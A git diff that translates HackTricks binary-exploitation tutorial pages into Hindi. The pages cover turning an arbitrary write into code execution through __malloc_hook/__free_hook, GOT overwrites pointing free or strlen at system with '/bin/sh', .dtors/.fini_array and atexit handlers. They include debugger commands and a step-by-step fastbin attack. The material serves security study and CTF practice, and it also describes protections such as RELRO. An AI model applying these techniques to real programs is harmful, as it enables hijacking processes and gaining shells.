> -> Support HackTricks +> HackTricks का समर्थन करें > -> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +> - [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +> - **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** का पालन करें।** +> - **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें। > >
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md index 117d2440a..13a867aa5 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/README.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md @@ -1,3 +1 @@ -# Arbitrary Write 2 Exec - - +# मनमाना लिखें 2 कार्यान्वयन diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 7bd874ca8..9bafc8cf4 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -4,34 +4,32 @@ ## **Malloc Hook** -As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**. +जैसा कि आप [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) पर देख सकते हैं, **`__malloc_hook`** एक पॉइंटर है जो **एक फ़ंक्शन के पते की ओर इशारा करता है जिसे तब कॉल किया जाएगा** जब भी `malloc()` को कॉल किया जाता है **जो libc लाइब्रेरी के डेटा सेक्शन में संग्रहीत होता है**। इसलिए, यदि इस पते को एक **One Gadget** से ओवरराइट किया जाता है और `malloc` को कॉल किया जाता है, तो **One Gadget को कॉल किया जाएगा**। -To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap. +`malloc` को कॉल करने के लिए, प्रोग्राम के इसे कॉल करने का इंतज़ार करना या **`printf("%10000$c")`** को कॉल करना संभव है, जो बहुत सारे बाइट्स आवंटित करता है जिससे `libc` `malloc` को हीप में उन्हें आवंटित करने के लिए कॉल करता है। -More info about One Gadget in: +One Gadget के बारे में अधिक जानकारी के लिए: {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} > [!WARNING] -> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +> ध्यान दें कि GLIBC >= 2.34 के लिए हुक **निष्क्रिय** हैं। आधुनिक GLIBC संस्करणों पर उपयोग की जाने वाली अन्य तकनीकें हैं। देखें: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). ## Free Hook -This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack: +इसका दुरुपयोग एक उदाहरण में किया गया था जो एक तेज़ बिन हमले का दुरुपयोग करने के बाद एक अनसॉर्टेड बिन हमले का दुरुपयोग करता है: {{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}} -It's posisble to find the address of `__free_hook` if the binary has symbols with the following command: - +यदि बाइनरी में प्रतीक हैं तो `__free_hook` का पता लगाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है: ```bash gef➤ p &__free_hook ``` - -[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function: +[पोस्ट में](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) आप बिना प्रतीकों के फ्री हुक का पता लगाने के लिए चरण-दर-चरण गाइड पा सकते हैं। संक्षेप में, फ्री फ़ंक्शन में:
gef➤  x/20i free
 0xf75dedc0 <free>: push   ebx
@@ -45,26 +43,26 @@ gef➤  p &__free_hook
 0xf75deddd <free+29>:  jne    0xf75dee50 <free+144>
 
-In the mentioned break in the previous code in `$eax` will be located the address of the free hook. +पिछले कोड में उल्लिखित ब्रेक में `$eax` में फ्री हुक का पता स्थित होगा। -Now a **fast bin attack** is performed: +अब एक **फास्ट बिन अटैक** किया जाता है: -- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: +- सबसे पहले यह पता लगाया गया है कि **`__free_hook`** स्थान पर **200** आकार के फास्ट **चंक्स** के साथ काम करना संभव है: -
gef➤  p &__free_hook
-  $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-  gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-  0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-  0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-  
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed -- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. -- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. -- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. -- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. +$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> +gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 +0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 +0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 + +- यदि हम इस स्थान पर आकार 0x200 का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो यह एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जो निष्पादित किया जाएगा। +- इसके लिए, आकार `0xfc` का एक नया चंक बनाया जाता है और उस पॉइंटर के साथ दो बार मर्ज की गई फ़ंक्शन को कॉल किया जाता है, इस तरह हम फास्ट बिन में आकार `0xfc*2 = 0x1f8` के एक मुक्त चंक का पॉइंटर प्राप्त करते हैं। +- फिर, इस चंक में संपादन फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इंगित किया जा सके। +- फिर, आकार `0x1f8` का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके, ताकि आकार `0x1f8` का एक और चंक बनाया जा सके जो **`__free_hook`** में एक फास्ट बिन चंक प्राप्त करे जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया जाता है। +- और अंत में, एक चंक जिसमें स्ट्रिंग `/bin/sh\x00` है, को डिलीट फ़ंक्शन को कॉल करके मुक्त किया जाता है, जिससे **`__free_hook`** फ़ंक्शन को ट्रिगर किया जाता है जो `/bin/sh\x00` को पैरामीटर के रूप में सिस्टम की ओर इंगित करता है। -## References +## संदर्भ - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index ad09ee48e..20c900c68 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -2,63 +2,63 @@ {{#include ../../banners/hacktricks-training.md}} -## **Basic Information** +## **बुनियादी जानकारी** -### **GOT: Global Offset Table** +### **GOT: ग्लोबल ऑफसेट टेबल** -The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved. +**ग्लोबल ऑफसेट टेबल (GOT)** एक तंत्र है जो गतिशील रूप से लिंक किए गए बाइनरी में **बाहरी कार्यों के पते** को प्रबंधित करने के लिए उपयोग किया जाता है। चूंकि ये **पते रनटाइम तक ज्ञात नहीं होते** (गतिशील लिंकिंग के कारण), GOT एक तरीका प्रदान करता है जिससे **इन बाहरी प्रतीकों के पते को गतिशील रूप से अपडेट किया जा सके** जब वे हल हो जाते हैं। -Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again. +GOT में प्रत्येक प्रविष्टि उस प्रतीक से संबंधित होती है जो बाहरी पुस्तकालयों में हो सकती है जिसे बाइनरी कॉल कर सकता है। जब एक **कार्य को पहली बार कॉल किया जाता है, तो इसका वास्तविक पता गतिशील लिंकर्स द्वारा हल किया जाता है और GOT में संग्रहीत किया जाता है**। उसी कार्य को बाद में कॉल करने पर GOT में संग्रहीत पते का उपयोग किया जाता है, इस प्रकार फिर से पते को हल करने का ओवरहेड बचता है। -### **PLT: Procedure Linkage Table** +### **PLT: प्रक्रिया लिंक टेबल** -The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**. +**प्रक्रिया लिंक टेबल (PLT)** GOT के साथ निकटता से काम करता है और बाहरी कार्यों को कॉल करने के लिए एक ट्रम्पोलिन के रूप में कार्य करता है। जब एक बाइनरी **पहली बार एक बाहरी कार्य को कॉल करता है, तो नियंत्रण उस कार्य से संबंधित PLT में एक प्रविष्टि को सौंपा जाता है**। यह PLT प्रविष्टि उस कार्य के पते को हल करने के लिए गतिशील लिंकर्स को सक्रिय करने के लिए जिम्मेदार होती है यदि इसे पहले से हल नहीं किया गया है। पते के हल होने के बाद, इसे **GOT** में संग्रहीत किया जाता है। -**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker. +**इसलिए,** GOT प्रविष्टियाँ सीधे उपयोग की जाती हैं जब एक बाहरी कार्य या चर का पता हल हो जाता है। **PLT प्रविष्टियाँ इन पते को गतिशील लिंकर्स के माध्यम से प्रारंभिक समाधान को सुविधाजनक बनाने के लिए उपयोग की जाती हैं।** -## Get Execution +## निष्पादन प्राप्त करें -### Check the GOT +### GOT की जाँच करें -Get the address to the GOT table with: **`objdump -s -j .got ./exec`** +GOT तालिका का पता प्राप्त करने के लिए: **`objdump -s -j .got ./exec`** ![](<../../images/image (121).png>) -Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT` +देखें कि **GEF** में **कार्यकारी** को **लोड** करने के बाद आप **GOT** में **कार्य** कैसे **देख सकते हैं**: `gef➤ x/20x 0xADDR_GOT` -![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) +![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) -Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: +GEF का उपयोग करके आप **डिबगिंग** सत्र शुरू कर सकते हैं और GOT तालिका देखने के लिए **`got`** निष्पादित कर सकते हैं: ![](<../../images/image (496).png>) ### GOT2Exec -In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example. +एक बाइनरी में GOT के पास **कार्य या** PLT अनुभाग के **पते** होते हैं जो कार्य के पते को लोड करेगा। इस मनमाने लेखन का लक्ष्य एक कार्य के GOT प्रविष्टि को **ओवरराइड करना** है जिसे बाद में **`system`** **कार्य** के PLT के **पते** के साथ निष्पादित किया जाएगा। -Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function). +आदर्श रूप से, आप एक **कार्य** के **GOT** को **ओवरराइड** करेंगे जिसे **आपके द्वारा नियंत्रित पैरामीटर के साथ कॉल किया जाएगा** (ताकि आप सिस्टम कार्य को भेजे गए पैरामीटर को नियंत्रित कर सकें)। -If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address. +यदि **`system`** **बाइनरी द्वारा उपयोग नहीं किया गया है**, तो सिस्टम कार्य का **PLT में कोई प्रविष्टि नहीं होगी**। इस परिदृश्य में, आपको पहले `system` कार्य का पता लीक करना होगा और फिर GOT को इस पते की ओर इंगित करने के लिए ओवरराइड करना होगा। -You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** +आप PLT पते देख सकते हैं **`objdump -j .plt -d ./vuln_binary`** के साथ। -## libc GOT entries +## libc GOT प्रविष्टियाँ -The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). +**libc का GOT** आमतौर पर **आंशिक RELRO** के साथ संकलित होता है, जिससे यह इस तकनीक के लिए एक अच्छा लक्ष्य बनता है यदि इसका पता लगाना संभव हो ([**ASLR**](../common-binary-protections-and-bypasses/aslr/))। -Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution. +libc के सामान्य कार्य **अन्य आंतरिक कार्यों** को कॉल करने जा रहे हैं जिनका GOT ओवरराइड किया जा सकता है ताकि कोड निष्पादन प्राप्त किया जा सके। -Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). +[**इस तकनीक के बारे में अधिक जानकारी यहाँ प्राप्त करें**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)। ### **Free2system** -In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`. +हीप शोषण CTFs में यह सामान्य है कि आप चंक्स की सामग्री को नियंत्रित कर सकें और किसी बिंदु पर GOT तालिका को भी ओवरराइड कर सकें। यदि एक गैजेट उपलब्ध नहीं है तो RCE प्राप्त करने के लिए एक सरल चाल `free` GOT पते को `system` की ओर इंगित करना और एक चंक में `"/bin/sh"` लिखना है। इस तरह जब इस चंक को मुक्त किया जाएगा, यह `system("/bin/sh")` को निष्पादित करेगा। ### **Strlen2system** -Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell. +एक और सामान्य तकनीक **`strlen`** GOT पते को **`system`** की ओर इंगित करना है, ताकि यदि इस कार्य को उपयोगकर्ता इनपुट के साथ कॉल किया जाए तो यह संभव हो कि स्ट्रिंग `"/bin/sh"` पास की जाए और एक शेल प्राप्त किया जा सके। -Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**. +इसके अलावा, यदि `puts` का उपयोग उपयोगकर्ता इनपुट के साथ किया जाता है, तो `strlen` GOT पते को `system` की ओर इंगित करने के लिए ओवरराइड करना संभव है और स्ट्रिंग `"/bin/sh"` पास करना संभव है ताकि एक शेल प्राप्त किया जा सके क्योंकि **`puts` उपयोगकर्ता इनपुट के साथ `strlen` को कॉल करेगा**। ## **One Gadget** @@ -66,22 +66,22 @@ Moreover, if `puts` is used with user input, it's possible to overwrite the `str ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} -## **Abusing GOT from Heap** +## **हीप से GOT का दुरुपयोग करना** -A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\ -Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell. +हीप भेद्यता से RCE प्राप्त करने का एक सामान्य तरीका एक फास्टबिन का दुरुपयोग करना है ताकि GOT तालिका के भाग को फास्ट बिन में जोड़ा जा सके, ताकि जब भी उस चंक को आवंटित किया जाएगा, यह संभव होगा कि **एक कार्य के पते को ओवरराइड किया जा सके, आमतौर पर `free`**।\ +फिर, `free` को `system` की ओर इंगित करना और एक चंक को मुक्त करना जहाँ `/bin/sh\x00` लिखा गया था, एक शेल को निष्पादित करेगा। -It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** +यहाँ एक [**उदाहरण पाया जा सकता है**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**।** -## **Protections** +## **सुरक्षाएँ** -The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it: +**पूर्ण RELRO** सुरक्षा इस प्रकार की तकनीक के खिलाफ सुरक्षा के लिए बनाई गई है, सभी कार्यों के पते को बाइनरी शुरू होने पर हल करके और इसके बाद **GOT तालिका को केवल पढ़ने योग्य** बनाकर: {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} -## References +## संदर्भ - [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index 31e45fba4..f05a40dcc 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -5,52 +5,48 @@ ## .dtors > [!CAUTION] -> Nowadays is very **weird to find a binary with a .dtors section!** +> आजकल एक बाइनरी में .dtors सेक्शन मिलना बहुत **अजीब है!** -The destructors are functions that are **executed before program finishes** (after the `main` function returns).\ -The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends. - -Get the address of this section with: +डिस्ट्रक्टर्स वे फ़ंक्शन हैं जो **कार्यक्रम समाप्त होने से पहले** (जब `main` फ़ंक्शन लौटता है) **निष्पादित** होते हैं।\ +इन फ़ंक्शनों के पते बाइनरी के **`.dtors`** सेक्शन के अंदर संग्रहीत होते हैं और इसलिए, यदि आप **`__DTOR_END__`** में **शेलकोड** के लिए **पता लिखने** में सफल होते हैं, तो वह **कार्यक्रम समाप्त होने से पहले** **निष्पादित** होगा। +इस सेक्शन का पता प्राप्त करें: ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` - -Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it. +आमतौर पर आप **DTOR** मार्कर **मानों** `ffffffff` और `00000000` के बीच पाएंगे। इसलिए यदि आप केवल उन मानों को देखते हैं, तो इसका मतलब है कि कोई **फंक्शन पंजीकृत नहीं है**। इसलिए **`00000000`** को **shellcode** के **पते** से **ओवरराइट** करें ताकि इसे निष्पादित किया जा सके। > [!WARNING] -> Ofc, you first need to find a **place to store the shellcode** in order to later call it. +> बेशक, आपको पहले **shellcode को स्टोर करने के लिए एक स्थान** ढूंढना होगा ताकि बाद में इसे कॉल किया जा सके। ## **.fini_array** -Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**. - +आधारभूत रूप से यह एक संरचना है जिसमें **फंक्शन होते हैं जो प्रोग्राम समाप्त होने से पहले कॉल किए जाएंगे**, जैसे **`.dtors`**। यह दिलचस्प है यदि आप अपने **shellcode को केवल एक पते पर कूदकर** कॉल कर सकते हैं, या उन मामलों में जहां आपको **फिर से `main`** पर वापस जाना है ताकि **दूसरी बार भेद्यता का शोषण** किया जा सके। ```bash objdump -s -j .fini_array ./greeting ./greeting: file format elf32-i386 Contents of section .fini_array: - 8049934 a0850408 +8049934 a0850408 #Put your address in 0x8049934 ``` +ध्यान दें कि जब **`.fini_array`** से कोई फ़ंक्शन निष्पादित होता है, तो यह अगले फ़ंक्शन पर चला जाता है, इसलिए इसे कई बार निष्पादित नहीं किया जाएगा (अनंत लूप को रोकना), लेकिन यह केवल यहाँ रखे गए फ़ंक्शन का 1 **निष्पादन** देगा। -Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here. +ध्यान दें कि `.fini_array` में प्रविष्टियाँ **विपरीत** क्रम में कॉल की जाती हैं, इसलिए आप शायद अंतिम प्रविष्टि से लिखना शुरू करना चाहेंगे। -Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one. +#### अनंत लूप -#### Eternal loop +**`.fini_array`** का दुरुपयोग करने के लिए अनंत लूप प्राप्त करने के लिए आप [**यहाँ क्या किया गया था**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** यदि आपके पास **`.fini_array`** में कम से कम 2 प्रविष्टियाँ हैं, तो आप: -In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can: - -- Use your first write to **call the vulnerable arbitrary write function** again -- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`** - - This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again. +- अपने पहले लिखने का उपयोग करें **कमजोर अनियंत्रित लिखने वाले फ़ंक्शन** को फिर से कॉल करने के लिए +- फिर, **`__libc_csu_fini`** द्वारा स्टैक में संग्रहीत लौटने के पते की गणना करें (वह फ़ंक्शन जो सभी `.fini_array` फ़ंक्शंस को कॉल कर रहा है) और वहाँ **`__libc_csu_fini`** का **पता** डालें +- इससे **`__libc_csu_fini`** फिर से खुद को कॉल करेगा, **`.fini_array`** फ़ंक्शंस को फिर से निष्पादित करेगा, जो कमजोर WWW फ़ंक्शन को 2 बार कॉल करेगा: एक बार **अनियंत्रित लिखने** के लिए और एक बार फिर से स्टैक पर **`__libc_csu_fini`** के लौटने के पते को ओवरराइट करने के लिए ताकि यह फिर से खुद को कॉल कर सके। > [!CAUTION] -> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**. -> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also. +> ध्यान दें कि [**पूर्ण RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** अनुभाग **`.fini_array`** को **पढ़ने के लिए केवल** बनाया गया है। +> नए संस्करणों में, [**आंशिक RELRO**] के साथ भी अनुभाग **`.fini_array`** को **पढ़ने के लिए केवल** बनाया गया है। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md index 97c286231..3a6db34f5 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md @@ -5,35 +5,34 @@ ## **\_\_atexit Structures** > [!CAUTION] -> Nowadays is very **weird to exploit this!** +> आजकल इसे **शोषण करना बहुत अजीब है!** -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`** एक फ़ंक्शन है जिसमें **अन्य फ़ंक्शनों** को पैरामीटर के रूप में पास किया जाता है। ये **फ़ंक्शन** तब **निष्पादित** होंगे जब **`exit()`** या **main** का **रिटर्न** किया जाएगा।\ +यदि आप इन **फ़ंक्शनों** में से किसी के **पते** को एक शेलकोड की ओर **संशोधित** कर सकते हैं, तो आप **प्रक्रिया** पर **नियंत्रण** प्राप्त कर लेंगे, लेकिन यह वर्तमान में अधिक जटिल है।\ +वर्तमान में निष्पादित होने वाले **फ़ंक्शनों के पते** कई संरचनाओं के पीछे **छिपे** हुए हैं और अंततः जिस पते की ओर यह इशारा करते हैं, वे फ़ंक्शनों के पते नहीं हैं, बल्कि **XOR** और एक **यादृच्छिक कुंजी** के साथ विस्थापनों के साथ **एन्क्रिप्टेड** हैं। इसलिए वर्तमान में यह हमले का वेक्टर **कम से कम x86** और **x64_86** पर **बहुत उपयोगी नहीं है**।\ +**एन्क्रिप्शन फ़ंक्शन** **`PTR_MANGLE`** है। **अन्य आर्किटेक्चर** जैसे m68k, mips32, mips64, aarch64, arm, hppa... **एन्क्रिप्शन** फ़ंक्शन को **क्रियान्वित नहीं करते** क्योंकि यह **वही** लौटाता है जो इसे इनपुट के रूप में मिला। इसलिए ये आर्किटेक्चर इस वेक्टर द्वारा हमले के लिए **संवेदनशील होंगे**। -You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) +आप इस पर गहन व्याख्या [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) पर पा सकते हैं। ## link_map -As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors. +जैसा कि [**इस पोस्ट में**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure) समझाया गया है, यदि प्रोग्राम `return` या `exit()` का उपयोग करके समाप्त होता है, तो यह `__run_exit_handlers()` को चलाएगा जो पंजीकृत डेस्ट्रक्टर्स को कॉल करेगा। > [!CAUTION] -> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it. - -The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): +> यदि प्रोग्राम **`_exit()`** फ़ंक्शन के माध्यम से समाप्त होता है, तो यह **`exit` syscall** को कॉल करेगा और निकासी हैंडलर निष्पादित नहीं होंगे। इसलिए, यह पुष्टि करने के लिए कि `__run_exit_handlers()` निष्पादित होता है, आप उस पर एक ब्रेकपॉइंट सेट कर सकते हैं। +महत्वपूर्ण कोड है 